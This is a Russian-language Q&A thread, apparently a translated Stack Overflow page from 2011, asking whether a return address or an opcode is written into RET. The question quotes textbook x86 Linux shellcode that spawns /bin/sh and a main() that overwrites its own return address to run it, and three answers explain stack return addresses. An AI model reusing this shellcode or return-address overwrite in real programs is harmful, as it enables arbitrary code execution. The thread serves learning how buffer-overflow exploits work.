Что мы вставляем в EIP / RET? Код операции или адрес памяти? - PullRequest
0 голосов
/ 21 апреля 2011
char shellcode[] =        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;  
   ret = (int *)&ret + 2;  
   (*ret) = (int)shellcode;
}

Насколько мне известно, shellcode[] - это шестнадцатеричный код операции для создания оболочки, а последняя строка кода перезаписывает ret с кодом операции.Вставляем ли мы код операции или адрес памяти в RET?

Ответы [ 3 ]

1 голос
/ 21 апреля 2011

Он не перезаписывает код операции возврата, он перезаписывает адрес возврата в стеке (предполагая, что он находится рядом с переменной, объявленной в стеке), поэтому при возврате main() он не возвращается к _start+n,вместо shellcode.

0 голосов
/ 21 апреля 2011

Как есть, он вставляет адрес адрес в строку.Я полагаю, что в данном случае это пустая трата времени, чтобы указать, что это абсолютно непереносимо и почти наверняка очень плохая идея ...

0 голосов
/ 21 апреля 2011

Регистр ret в стеке - это место, в которое возвращается код, поэтому размещение кода операции не очень поможет. Я подозреваю, что адрес кода, который вы хотите запустить, является наиболее вероятным кандидатом. Ура! Вероятно, лучше всего рассмотреть, для чего используются элементы, с которыми вы взаимодействуете, и как они используются, а не пытаться слепо сбрасывать в них данные.

...